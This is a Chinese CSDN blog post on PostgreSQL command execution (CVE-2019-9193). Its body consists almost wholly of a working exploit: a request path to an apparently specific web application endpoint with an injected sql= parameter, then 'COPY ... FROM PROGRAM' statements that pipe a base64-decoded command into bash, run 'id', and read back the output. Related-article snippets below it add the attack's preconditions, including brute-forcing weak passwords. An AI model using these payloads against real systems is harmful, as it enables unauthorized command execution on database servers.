PostgreSQL高权限命令执行(CVE-2019-9193)

于 2024-01-02 09:31:39 发布
阅读量437 收藏 6
点赞数 8
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_81907423/article/details/135332955
版权

/PH_SystemModule/DatabaseTable/GetList?tableName=test&databaseLinkld=f2d587de-43e5-4310-b968-4544f4961a39&_=1634809489388&sql=
copy cmd_exec from program 'echo "base64encode后的命令"|base64 -d|bash';

COPY cmd_exec FROM PROGRAM 'id'

SELECT * FROM cmd_exec

HARDpunCh
关注
  • 8
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)
飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘
02-01 373
这个漏洞是一个版本漏洞从9.3版本开始，Postgres新增了一个COPYTO/FROMPROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令利用的前提1、需要登录2、需要高权限所以要先弱口令爆破之后，然后查看是否是高权限。
（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞
m0_48520508的博客
01-20 864
0x00简介 PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统（RDBMS）。采用类似MIT的许可协议，允许开发人员做任何事情，包括在开源或闭源产品中商用，其源代码是免费提供的。 PostgreSQL特点： Ø 支持WINDOWS、Linux、Solaris、macOS 、BSD。 Ø 支持文本、图像、视频、声音等 Ø 支持ACID、关联完整性、数据库事务、Unicode多国语言。 Ø 支持临时表，与物化视图 Ø 支持SQL的许多功
PostgreSQL 高权限命令执行漏洞（CVE-2019-9193）复现
技术超强的网络安全平台
08-01 342
PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统（RDBMS）。采用类似MIT的许可协议，允许开发人员做任何事情，包括在开源或闭源产品中商用，其源代码是免费提供的。 PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。 进入目录
PostgreSQL高权限命令执行(CVE-2019-9193)漏洞复现&实战
jihaichen的博客
04-26 2674
一、漏洞利用 这个漏洞是一个版本漏洞 从9.3版本开始，Postgres新增了一个COPYTO/FROMPROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作 系统命令，利用的前提 1、需要登录2、需要高权限 所以要先弱口令爆破之后，然后查看是否是高权限。 这里之所以选择复现这个漏洞，因为其中的思路比较有意思，也就是看回显的思路。 先大体讲一下这个漏洞是怎么看回显的，他是通过命令执行然后把回显写入创建的一张表里面，下面来具体操作。 先删除你
PostgreSQL 高权限命令执行 (CVE-2019-9193)
qq_44657899的博客
10-08 975
漏洞原理 PostgreSQL是当下最流行的数据库系统之一，它是 Mac OSX系统下最常用的数据库，但同时也提供了Windows及Linux操作系统版本。（Kali下Metasploit用的就是PostgreSQL数据库）. 漏洞成因是因为PostgreSQL的特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3-11.2版本中这个特性是默认开启的。 从9.3版本开始PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能，它允许数.
PostgreSQL任意命令执行（CVE-2019-9193）
GalaxySpaceX的博客
07-03 785
PostgreSQL任意命令执行（CVE-2019-9193）
CVE-2019-9193 PostgreSQL 高权限命令执行漏洞
qq_51979295的博客
10-08 505
康复训练
PostgreSQL 高权限命令执行漏洞（CVE-2019-9193）
EC_Carrot的博客
07-21 428
漏洞简介 PostgreSQL是PostgreSQL组织的一套自由的对象关系型数据库管理系统。该系统支持大部分SQL标准并且提供了许多其他特性，例如外键、触发器、视图等。 PostgreSQL 9.3至11.2版本中的导入导出数据命令‘COPY TO/FROM PROGRAM’存在操作系统命令注入漏洞。攻击者可利用该漏洞获取数据库超级用户权限，从而执行任意系统命令。 漏洞复现 我使用的是vulhub的环境，默认账号密码为postgres/postgres 登陆PostgreSQL：psql --host y
【vulhub】PostGresql高权限命令执行漏洞复现(CVE-2019-9193)
errorr0
08-05 808
CVE-2019-9193
django_cve_2019_19844_poc：适用于CVE-2019-19844的PoC（https：www.djangoproject.comweblog2019dec18security-releases）
02-04
django_cve_2019_19844_poc PoC要求Python 3.7.x PostgreSQL 9.5或更高建立创建数据库（例如django_cve_2019_19844_poc ） 将数据库名称设置为环境变量DJANGO_DATABASE_NAME （例如， export DJANGO_DATABASE_NAME=...
PostgreSQL（postgresql-13.5-1-windows-x64.exe）
11-20
PostgreSQL（postgresql-13.5-1-windows-x64.exe）适用于Windows x86-64 PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统（ORDBMS），是以加州大学计算机系开发的POSTGRES，4.2版本为基础的...
postgresql-12.4-1-windows-x64.exe
09-10
postgresql-12.4-1-windows-x64.exe
postgresql-14.1-1-windows-x64
12-05
The PostgreSQL Project thanks Jacob Champion for reporting this problem. (CVE-2021-23214) Make libpq reject extraneous data after an SSL or GSS encryption handshake (Tom Lane) A man-in-the-middle ...
PostgreSQL（postgresql14-contrib-14.1-1PGDG.rhel7.x86_64.rpm）
11-20
PostgreSQL（postgresql14-contrib-14.1-1PGDG.rhel7.x86_64.rpm）适用于RHEL/CentOS/Oracle Linux 7 - x86_64 PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统（ORDBMS），是以加州大学计算机...
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8308
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
11.53.1无签名解锁功能_kill.apk
最新发布
07-02
11.53.1无签名解锁功能_kill.apk
Шоу -- Легкий способ выучить Python 3 -- 2019.pdf
07-02
Шоу -- Легкий способ выучить Python 3 -- 2019
Android广播机制
07-02
Android广播机制
postgresql-phppgadmin容器和postgresql-postgres区别
05-27
postgresql-phppgadmin容器和postgresql-postgres都是与 PostgreSQL 数据库相关的容器，但它们的用途和功能有所不同。 postgresql-postgres是一个 PostgreSQL 数据库服务器的镜像，可以用于在容器中运行 PostgreSQL...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值